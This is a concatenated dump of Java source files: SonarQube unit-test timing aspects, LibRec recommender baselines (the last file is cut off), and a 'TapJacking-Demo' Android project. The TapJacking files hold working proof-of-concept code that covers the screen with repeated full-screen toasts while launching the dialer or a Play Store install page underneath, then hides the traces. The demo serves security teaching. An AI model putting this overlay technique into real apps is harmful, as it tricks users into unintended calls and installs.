package org.sonarqube.ut.aspects;
public class Measure {
private final String category = "Validate-UT-Backend";
private final String measureClass = "";
private final String measureMethod ="";
private final String operation = "total";
private final String suite = "Standalone";
private String testClass;
private String testMethod;
private Long duration;
private String build;
private String commit;
private String timestamp;
private String kind;
public Measure() {
// http://stackoverflow.com/a/18645370/229031
}
public String getCategory() {
return category;
}
public String getSuite() {
return suite;
}
public String getTestClass() {
return testClass;
}
public Measure setTestClass(String testClass) {
this.testClass = testClass;
return this;
}
public String getTestMethod() {
return testMethod;
}
public Measure setTestMethod(String testMethod) {
this.testMethod = testMethod;
return this;
}
public String getMeasureClass() {
return measureClass;
}
public String getMeasureMethod() {
return measureMethod;
}
public Long getDuration() {
return duration;
}
public Measure setDuration(Long duration) {
this.duration = duration;
return this;
}
public String getOperation() {
return operation;
}
public String getKind() {
return kind;
}
public Measure setKind(MeasureKind measureKind) {
this.kind = measureKind.getName();
return this;
}
public String getBuild() {
return build;
}
public Measure setBuild(String build) {
this.build = build;
return this;
}
public String getCommit() {
return commit;
}
public Measure setCommit(String commit) {
this.commit = commit;
return this;
}
public String getTimestamp() {
return timestamp;
}
public Measure setTimestamp(String timestamp) {
this.timestamp = timestamp;
return this;
}
}
| 2,798 | 21.392 | 75 | java |
sonarqube | sonarqube-master/ut-monitoring/src/main/java/org/sonarqube/ut/aspects/MeasureKind.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ut.aspects;
public enum MeasureKind {
AFTERCLASS("afterClass"),
AFTER("after"),
BEFORECLASS("beforeClass"),
BEFORE("before"),
CLASS_RULE_BEFORE("classRuleBefore"),
CLASS_RULE_AFTER("classRuleAfter"),
RULE_BEFORE("ruleBefore"),
RULE_AFTER("ruleAfter"),
TESTCASE("testcase");
private final String name;
MeasureKind(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
| 1,296 | 29.162791 | 75 | java |
sonarqube | sonarqube-master/ut-monitoring/src/main/java/org/sonarqube/ut/aspects/RuleAspect.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ut.aspects;
import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.Pointcut;
import org.junit.runner.Description;
@Aspect("percflow(execution(void org.junit.runners.ParentRunner+.runLeaf(..)))")
public class RuleAspect {
private String testClass = "";
private String testMethod = "";
@Pointcut("target(org.junit.rules.ExternalResource+) && execution(void before())")
void ruleBefore() {
}
@Pointcut("target(org.junit.rules.ExternalResource+) && execution(void after())")
void ruleAfter() {
}
@Pointcut("execution(void org.junit.runners.ParentRunner+.runLeaf(..))")
void runLeaf() {
}
@Before("runLeaf()")
public void runLeafCall(JoinPoint jp) {
Description description = (Description) jp.getArgs()[1];
testClass = description.getClassName();
testMethod = description.getMethodName();
}
@Around("ruleBefore()")
public Object ruleBeforeCall(ProceedingJoinPoint jp) throws Throwable {
return measure(jp, MeasureKind.RULE_BEFORE);
}
@Around("ruleAfter()")
public Object ruleAfterCall(ProceedingJoinPoint jp) throws Throwable {
return measure(jp, MeasureKind.RULE_AFTER);
}
private Object measure(ProceedingJoinPoint jp, MeasureKind measureKind) throws Throwable {
return AspectAssistant.measure(jp, measure -> measure
.setTestClass(testClass)
.setTestMethod(testMethod)
.setKind(measureKind));
}
}
| 2,444 | 32.958333 | 92 | java |
sonarqube | sonarqube-master/ut-monitoring/src/main/java/org/sonarqube/ut/aspects/RunAftersAspect.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ut.aspects;
import java.lang.reflect.Field;
import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.Pointcut;
import org.junit.internal.runners.statements.InvokeMethod;
import org.junit.internal.runners.statements.RunAfters;
import org.junit.internal.runners.statements.RunBefores;
import org.junit.runners.model.FrameworkMethod;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Aspect("percflow(execution(void org.junit.internal.runners.statements.RunAfters.evaluate()))")
public class RunAftersAspect {
private static final Logger logger = LoggerFactory.getLogger(RunAftersAspect.class);
private String testClass = "";
private String testMethod = "";
@Pointcut("execution(void org.junit.internal.runners.statements.RunAfters.evaluate())")
void runAfters() {
}
@Pointcut("@annotation(org.junit.After)")
void anyAfter() {
}
@Pointcut("@annotation(org.junit.AfterClass)")
void anyAfterClass() {
}
@Before("runAfters()")
public void prepareAfter(JoinPoint jp) {
try {
Field nextField = RunAfters.class.getDeclaredField("next");
nextField.setAccessible(true);
Object next = nextField.get(jp.getTarget());
if (next instanceof RunBefores) {
nextField = RunBefores.class.getDeclaredField("next");
nextField.setAccessible(true);
next = nextField.get(next);
}
if (next instanceof InvokeMethod) {
Field testMethodField = InvokeMethod.class.getDeclaredField("testMethod");
testMethodField.setAccessible(true);
FrameworkMethod frameworkMethod = (FrameworkMethod) testMethodField.get(next);
testClass = frameworkMethod.getDeclaringClass().getName();
testMethod = frameworkMethod.getName();
}
} catch (NoSuchFieldException | IllegalAccessException e) {
logger.error("Error in getting reflection information", e);
}
}
@Before("anyAfterClass()")
public void prepareAfterClass(JoinPoint jp) {
testClass = jp.getStaticPart().getSignature().getDeclaringType().getName();
}
@Around("anyAfter()")
public Object measureTotalAfter(ProceedingJoinPoint jp) throws Throwable {
return measureAfter(jp);
}
@Around("anyAfterClass()")
public Object measureTotalAfterClass(ProceedingJoinPoint jp) throws Throwable {
return measureAfterClass(jp);
}
private Object measureAfter(ProceedingJoinPoint jp) throws Throwable {
return AspectAssistant.measure(jp, measure -> measure
.setTestClass(testClass)
.setTestMethod(testMethod)
.setKind(MeasureKind.AFTER));
}
private Object measureAfterClass(ProceedingJoinPoint jp) throws Throwable {
return AspectAssistant.measure(jp, measure -> measure
.setTestClass(testClass)
.setKind(MeasureKind.AFTERCLASS));
}
}
| 3,824 | 35.428571 | 95 | java |
sonarqube | sonarqube-master/ut-monitoring/src/main/java/org/sonarqube/ut/aspects/RunBeforesAspect.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ut.aspects;
import java.lang.reflect.Field;
import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.Pointcut;
import org.junit.internal.runners.statements.InvokeMethod;
import org.junit.internal.runners.statements.RunBefores;
import org.junit.runners.model.FrameworkMethod;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Aspect("percflow(execution(void org.junit.internal.runners.statements.RunBefores.evaluate()))")
public class RunBeforesAspect {
private static final Logger logger = LoggerFactory.getLogger(RunBeforesAspect.class);
private String testClass = "";
private String testMethod = "";
@Pointcut("execution(void org.junit.internal.runners.statements.RunBefores.evaluate())")
void runBefores() {
}
@Pointcut("@annotation(org.junit.Before)")
void anyBefore() {
}
@Pointcut("@annotation(org.junit.BeforeClass)")
void anyBeforeClass() {
}
@Before("runBefores()")
public void prepareBefore(JoinPoint jp) {
try {
Field nextField = RunBefores.class.getDeclaredField("next");
nextField.setAccessible(true);
Object invokeMethod = nextField.get(jp.getTarget());
if (invokeMethod instanceof InvokeMethod) {
Field testMethodField = InvokeMethod.class.getDeclaredField("testMethod");
testMethodField.setAccessible(true);
FrameworkMethod frameworkMethod = (FrameworkMethod) testMethodField.get(invokeMethod);
testClass = frameworkMethod.getDeclaringClass().getName();
testMethod = frameworkMethod.getName();
}
} catch (NoSuchFieldException | IllegalAccessException e) {
logger.error("Error in getting reflection information", e);
}
}
@Before("anyBeforeClass()")
public void prepareBeforeClass(JoinPoint jp) {
testClass = jp.getStaticPart().getSignature().getDeclaringType().getName();
}
@Around("anyBefore()")
public Object measureTotalBefore(ProceedingJoinPoint jp) throws Throwable {
return measureBefore(jp);
}
@Around("anyBeforeClass()")
public Object measureTotalBeforeClass(ProceedingJoinPoint jp) throws Throwable {
return measureBeforeClass(jp);
}
private Object measureBefore(ProceedingJoinPoint jp) throws Throwable {
return AspectAssistant.measure(jp, measure -> measure
.setTestClass(testClass)
.setTestMethod(testMethod)
.setKind(MeasureKind.BEFORE));
}
private Object measureBeforeClass(ProceedingJoinPoint jp) throws Throwable {
return AspectAssistant.measure(jp, measure -> measure
.setTestClass(testClass)
.setKind(MeasureKind.BEFORECLASS));
}
}
| 3,631 | 35.32 | 96 | java |
sonarqube | sonarqube-master/ut-monitoring/src/main/java/org/sonarqube/ut/aspects/TestCaseAspect.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ut.aspects;
import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.Pointcut;
@Aspect("percflow(execution(@org.junit.Test * *(..)))")
public class TestCaseAspect {
private String testClass = "";
private String testMethod = "";
@Pointcut("execution(@org.junit.Test * *(..))")
void anyTest() {
}
@Around("anyTest()")
public Object measureTestCase(ProceedingJoinPoint jp) throws Throwable {
return measure(jp);
}
@Before("anyTest()")
public void beforeCall(JoinPoint jp) {
testClass = jp.getTarget().getClass().getName();
testMethod = jp.getSignature().getName();
}
private Object measure(ProceedingJoinPoint jp) throws Throwable {
return AspectAssistant.measure(jp, measure -> measure
.setTestClass(testClass)
.setTestMethod(testMethod)
.setKind(MeasureKind.TESTCASE));
}
}
| 1,891 | 32.785714 | 75 | java |
TapJacking-Demo | TapJacking-Demo-master/src/com/nvisium/tapjacking/BackgroundInstallerService.java | package com.nvisium.tapjacking;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.Toast;
public class BackgroundInstallerService extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);
// create first toast
Toast toast = Toast.makeText(getApplicationContext(), "",
Toast.LENGTH_SHORT);
View view = inflater.inflate(R.layout.installer_layout, null);
toast.setView(view);
toast.setGravity(Gravity.FILL, 0, 0);
fireLongToast(toast);
launchMarket();
}
// this link helped:
// http://thinkandroid.wordpress.com/2010/02/19/indefinite-toast-hack/
private void fireLongToast(final Toast toast) {
Thread t = new Thread() {
public void run() {
int count = 0;
int max_count = 10;
try {
while (true && count < max_count) {
toast.show();
/*
* We check to see when we are going to give the screen
* back. Right before our toasts end we swap activities
* to remove any visual clues
*/
if (count == max_count - 1) {
ComponentName toLaunch;
toLaunch = new ComponentName(
"com.nvisium.tapjacking",
"com.nvisium.tapjacking.Main");
Intent intent = new Intent();
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setComponent(toLaunch);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(intent);
}
/*
* this short sleep helps our toasts transition
* seamlessly
*/
sleep(1850);
count++;
}
} catch (Exception e) {
}
stopSelf();
}
};
t.start();
}
private void launchMarket() {
Thread t = new Thread() {
public void run() {
/*
* We sleep first in order for the toasts to consume the screen
* before the dialer activity launches
*/
try {
sleep(2000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri
.parse("market://details?id=com.nvisium.tapjackingdemo.installer"));
getApplication().startActivity(intent);
}
};
t.start();
}
}
| 2,644 | 23.719626 | 95 | java |
TapJacking-Demo | TapJacking-Demo-master/src/com/nvisium/tapjacking/DialerService.java | package com.nvisium.tapjacking;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.Toast;
public class DialerService extends Service {
@Override
public IBinder onBind(Intent intent) {
System.out.println();
return null;
}
@Override
public void onCreate() {
super.onCreate();
LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);
Toast toast = Toast.makeText(getApplicationContext(), "",
Toast.LENGTH_SHORT);
View view = inflater.inflate(R.layout.dialer_layout, null);
toast.setView(view);
toast.setGravity(Gravity.FILL, 0, 0);
fireLongToast(toast);
launchDialer();
}
// this link helped:
// http://thinkandroid.wordpress.com/2010/02/19/indefinite-toast-hack/
private void fireLongToast(final Toast toast) {
Thread t = new Thread() {
public void run() {
int count = 0;
int max_count = 10;
try {
while (true && count < max_count) {
toast.show();
/*
* We check to see when we are going to give the screen
* back. Right before our toasts end we swap activities
* to remove any visual clues
*/
if (count == max_count - 1) {
ComponentName toLaunch;
toLaunch = new ComponentName(
"com.nvisium.tapjacking",
"com.nvisium.tapjacking.Main");
Intent intent = new Intent();
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setComponent(toLaunch);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(intent);
}
/*
* this short sleep helps our toasts transition
* seamlessly
*/
sleep(1850);
count++;
}
} catch (Exception e) {
}
stopSelf();
}
};
t.start();
}
private void launchDialer() {
Thread t = new Thread() {
public void run() {
/*
* We sleep first in order for the toasts to consume the screen
* before the dialer activity launches
*/
try {
sleep(2000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
Intent intent = new Intent(Intent.ACTION_DIAL);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// showing Google some love
intent.setData(Uri.parse("tel:650-253-0000"));
getApplication().startActivity(intent);
}
};
t.start();
}
}
| 2,607 | 24.320388 | 95 | java |
TapJacking-Demo | TapJacking-Demo-master/src/com/nvisium/tapjacking/Main.java | package com.nvisium.tapjacking;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
public class Main extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
public void launchCallDemo(View v) {
startService(new Intent(DialerService.class.getName()));
}
public void launchBackgroundInstallDemo(View v) {
startService(new Intent(BackgroundInstallerService.class.getName()));
}
}
| 602 | 22.192308 | 71 | java |
librec | librec-master/librec/src/main/java/librec/baseline/ItemCluster.java | // Copyright (C) 2014-2015 Guibing Guo
//
// This file is part of LibRec.
//
// LibRec is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// LibRec is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with LibRec. If not, see <http://www.gnu.org/licenses/>.
//
package librec.baseline;
import java.math.BigDecimal;
import java.math.RoundingMode;
import librec.data.Configuration;
import librec.data.DenseMatrix;
import librec.data.DenseVector;
import librec.data.SparseMatrix;
import librec.data.SparseVector;
import librec.data.VectorEntry;
import librec.intf.GraphicRecommender;
import librec.util.Logs;
import librec.util.Randoms;
/**
* It is a graphical model that clusters items into K groups for recommendation, as opposite to the {@code UserCluster} recommender.
*
* @author Guo Guibing
*
*/
@Configuration("factors, max.iters")
public class ItemCluster extends GraphicRecommender {
private DenseMatrix Pkr; // theta
private DenseVector Pi; // pi
private DenseMatrix Gamma;
private DenseMatrix Nir;
private DenseVector Ni;
public ItemCluster(SparseMatrix trainMatrix, SparseMatrix testMatrix, int fold) {
super(trainMatrix, testMatrix, fold);
}
@Override
protected void initModel() throws Exception {
Pkr = new DenseMatrix(numFactors, numLevels); // k x r
for (int k = 0; k < numFactors; k++) {
// random probs
double[] probs = Randoms.randProbs(numLevels);
for (int r = 0; r < numLevels; r++)
Pkr.set(k, r, probs[r]);
}
Pi = new DenseVector(Randoms.randProbs(numFactors));
Gamma = new DenseMatrix(numItems, numFactors); // i x k
// pre-computing Nir, Ni
Nir = new DenseMatrix(numItems, numLevels); // Nir
Ni = new DenseVector(numItems); // Ni
for (int i = 0; i < numItems; i++) {
SparseVector ri = trainMatrix.column(i);
for (VectorEntry ve : ri) {
double rui = ve.get();
int r = ratingScale.indexOf(rui);
Nir.add(i, r, 1);
}
Ni.set(i, ri.size());
}
}
@Override
protected void buildModel() throws Exception {
for (int iter = 1; iter <= numIters; iter++) {
// e-step: compute Gamma_ik = P(Zi_k | ri, theta)
for (int i = 0; i < numItems; i++) {
BigDecimal sum_i = BigDecimal.ZERO;
SparseVector ri = trainMatrix.column(i);
BigDecimal[] sum_ik = new BigDecimal[numFactors];
for (int k = 0; k < numFactors; k++) {
BigDecimal pik = new BigDecimal(Pi.get(k));
for (VectorEntry ve : ri) {
double rui = ve.get();
int r = ratingScale.indexOf(rui);
BigDecimal pkr = new BigDecimal(Pkr.get(k, r));
pik = pik.multiply(pkr);
}
sum_ik[k] = pik;
sum_i = sum_i.add(pik);
}
for (int k = 0; k < numFactors; k++) {
double zik = sum_ik[k].divide(sum_i, 6, RoundingMode.HALF_UP).doubleValue();
Gamma.set(i, k, zik);
}
}
// m-step: update Pkr, Pi
double sum_ik[] = new double[numFactors];
double sum = 0;
for (int k = 0; k < numFactors; k++) {
for (int r = 0; r < numLevels; r++) {
double numerator = 0, denorminator = 0;
for (int i = 0; i < numItems; i++) {
double rik = Gamma.get(i, k);
numerator += rik * Nir.get(i, r);
denorminator += rik * Ni.get(i);
}
Pkr.set(k, r, numerator / denorminator);
}
double sum_i = 0;
for (int i = 0; i < numItems; i++) {
double rik = Gamma.get(i, k);
sum_i += rik;
}
sum_ik[k] = sum_i;
sum += sum_i;
}
for (int k = 0; k < numFactors; k++) {
Pi.set(k, sum_ik[k] / sum);
}
// compute loss value
loss = 0;
for (int i = 0; i < numItems; i++) {
for (int k = 0; k < numFactors; k++) {
double rik = Gamma.get(i, k);
double pi_k = Pi.get(k);
double sum_nl = 0;
for (int r = 0; r < numLevels; r++) {
double nir = Nir.get(i, r);
double pkr = Pkr.get(k, r);
sum_nl += nir * Math.log(pkr);
}
loss += rik * (Math.log(pi_k) + sum_nl);
}
}
loss = -loss; // turn to minimization problem instead
if (isConverged(iter))
break;
}
}
@Override
protected boolean isConverged(int iter) throws Exception {
float deltaLoss = (float) (loss - lastLoss);
Logs.debug("{}{} iter {} achives loss = {}, delta_loss = {}", algoName, foldInfo, iter, (float) loss, deltaLoss);
if (iter > 1 && (deltaLoss > 0 || Double.isNaN(deltaLoss))) {
Logs.debug("{}{} converges at iter {}", algoName, foldInfo, iter);
return true;
}
lastLoss = loss;
return false;
}
@Override
public double predict(int u, int j, boolean bound) throws Exception {
double pred = 0;
for (int k = 0; k < numFactors; k++) {
double pj_k = Gamma.get(j, k); // probability that item j belongs to cluster k
double pred_k = 0;
for (int r = 0; r < numLevels; r++) {
double ruj = ratingScale.get(r);
double pkr = Pkr.get(k, r);
pred_k += ruj * pkr;
}
pred += pj_k * pred_k;
}
return pred;
}
@Override
public String toString() {
return numFactors + "," + numIters;
}
}
| 5,426 | 24.125 | 132 | java |
librec | librec-master/librec/src/main/java/librec/baseline/ConstantGuess.java | // Copyright (C) 2014 Guibing Guo
//
// This file is part of LibRec.
//
// LibRec is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// LibRec is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with LibRec. If not, see <http://www.gnu.org/licenses/>.
//
package librec.baseline;
import librec.data.SparseMatrix;
import librec.intf.Recommender;
/**
* Baseline: predict by a constant rating
*
* @author guoguibing
*
*/
public class ConstantGuess extends Recommender {
private double constant;
public ConstantGuess(SparseMatrix trainMatrix, SparseMatrix testMatrix, int fold) {
super(trainMatrix, testMatrix, fold);
algoName = "Constant";
constant = (minRate + maxRate) / 2.0; // can also use given constant
}
@Override
public double predict(int u, int j) {
return constant;
}
}
| 1,253 | 25.680851 | 84 | java |
librec | librec-master/librec/src/main/java/librec/baseline/MostPopular.java | // Copyright (C) 2014 Guibing Guo
//
// This file is part of LibRec.
//
// LibRec is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// LibRec is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with LibRec. If not, see <http://www.gnu.org/licenses/>.
//
package librec.baseline;
import java.util.HashMap;
import java.util.Map;
import librec.data.SparseMatrix;
import librec.intf.Recommender;
/**
* Baseline: items are weighted by the number of ratings they received.
*
* @author guoguibing
*
*/
public class MostPopular extends Recommender {
private Map<Integer, Integer> itemPops;
public MostPopular(SparseMatrix trainMatrix, SparseMatrix testMatrix, int fold) {
super(trainMatrix, testMatrix, fold);
// force to set as the ranking prediction method
isRankingPred = true;
setAlgoName("MostPop");
}
@Override
protected void initModel() {
itemPops = new HashMap<>();
}
@Override
public double ranking(int u, int j) {
if (!itemPops.containsKey(j))
itemPops.put(j, trainMatrix.columnSize(j));
return itemPops.get(j);
}
}
| 1,510 | 24.610169 | 82 | java |
librec | librec-master/librec/src/main/java/librec/baseline/GlobalAverage.java | // Copyright (C) 2014 Guibing Guo
//
// This file is part of LibRec.
//
// LibRec is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// LibRec is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with LibRec. If not, see <http://www.gnu.org/licenses/>.
//
package librec.baseline;
import librec.data.SparseMatrix;
import librec.intf.Recommender;
/**
* Baseline: predict by average rating of all users
*
* @author guoguibing
*
*/
public class GlobalAverage extends Recommender {
public GlobalAverage(SparseMatrix rm, SparseMatrix tm, int fold) {
super(rm, tm, fold);
this.algoName = "GlobalAvg";
}
@Override
public double predict(int u, int j) {
return globalMean;
}
}
| 1,139 | 24.909091 | 71 | java |
librec | librec-master/librec/src/main/java/librec/baseline/UserCluster.java | // Copyright (C) 2014-2015 Guibing Guo
//
// This file is part of LibRec.
//
// LibRec is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// LibRec is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with LibRec. If not, see <http://www.gnu.org/licenses/>.
//
package librec.baseline;
import java.math.BigDecimal;
import java.math.RoundingMode;
import librec.data.Configuration;
import librec.data.DenseMatrix;
import librec.data.DenseVector;
import librec.data.SparseMatrix;
import librec.data.SparseVector;
import librec.data.VectorEntry;
import librec.intf.GraphicRecommender;
import librec.util.Logs;
import librec.util.Randoms;
/**
* It is a graphical model that clusters users into K groups for recommendation, see reference: Barbieri et al.,
* <strong>Probabilistic Approaches to Recommendations</strong> (Section 2.2), Synthesis Lectures on Data Mining and
* Knowledge Discovery, 2014.
*
* @author Guo Guibing
*
*/
@Configuration("factors, max.iters")
public class UserCluster extends GraphicRecommender {
private DenseMatrix Pkr; // theta
private DenseVector Pi; // pi
private DenseMatrix Gamma;
private DenseMatrix Nur;
private DenseVector Nu;
public UserCluster(SparseMatrix trainMatrix, SparseMatrix testMatrix, int fold) {
super(trainMatrix, testMatrix, fold);
}
@Override
protected void initModel() throws Exception {
Pkr = new DenseMatrix(numFactors, numLevels); // k x r
for (int k = 0; k < numFactors; k++) {
// random probs
double[] probs = Randoms.randProbs(numLevels);
for (int r = 0; r < numLevels; r++)
Pkr.set(k, r, probs[r]);
}
Pi = new DenseVector(Randoms.randProbs(numFactors));
Gamma = new DenseMatrix(numUsers, numFactors); // u x k
// pre-computing Nur, Nu
Nur = new DenseMatrix(numUsers, numLevels); // Nur
Nu = new DenseVector(numUsers); // Nu
for (int u = 0; u < numUsers; u++) {
SparseVector ru = trainMatrix.row(u);
for (VectorEntry ve : ru) {
double rui = ve.get();
int r = ratingScale.indexOf(rui);
Nur.add(u, r, 1);
}
Nu.set(u, ru.size());
}
}
@Override
protected void buildModel() throws Exception {
for (int iter = 1; iter <= numIters; iter++) {
// e-step: compute Gamma_uk = P(Zu_k | ru, theta)
for (int u = 0; u < numUsers; u++) {
BigDecimal sum_u = BigDecimal.ZERO;
SparseVector ru = trainMatrix.row(u);
BigDecimal[] sum_uk = new BigDecimal[numFactors];
for (int k = 0; k < numFactors; k++) {
BigDecimal puk = new BigDecimal(Pi.get(k));
for (VectorEntry ve : ru) {
double rui = ve.get();
int r = ratingScale.indexOf(rui);
BigDecimal pkr = new BigDecimal(Pkr.get(k, r));
puk = puk.multiply(pkr);
}
sum_uk[k] = puk;
sum_u = sum_u.add(puk);
}
for (int k = 0; k < numFactors; k++) {
double zuk = sum_uk[k].divide(sum_u, 6, RoundingMode.HALF_UP).doubleValue();
Gamma.set(u, k, zuk);
}
}
// m-step: update Pkr, Pi
double sum_uk[] = new double[numFactors];
double sum = 0;
for (int k = 0; k < numFactors; k++) {
for (int r = 0; r < numLevels; r++) {
double numerator = 0, denorminator = 0;
for (int u = 0; u < numUsers; u++) {
double ruk = Gamma.get(u, k);
numerator += ruk * Nur.get(u, r);
denorminator += ruk * Nu.get(u);
}
Pkr.set(k, r, numerator / denorminator);
}
double sum_u = 0;
for (int u = 0; u < numUsers; u++) {
double ruk = Gamma.get(u, k);
sum_u += ruk;
}
sum_uk[k] = sum_u;
sum += sum_u;
}
for (int k = 0; k < numFactors; k++) {
Pi.set(k, sum_uk[k] / sum);
}
// compute loss value
loss = 0;
for (int u = 0; u < numUsers; u++) {
for (int k = 0; k < numFactors; k++) {
double ruk = Gamma.get(u, k);
double pi_k = Pi.get(k);
double sum_nl = 0;
for (int r = 0; r < numLevels; r++) {
double nur = Nur.get(u, r);
double pkr = Pkr.get(k, r);
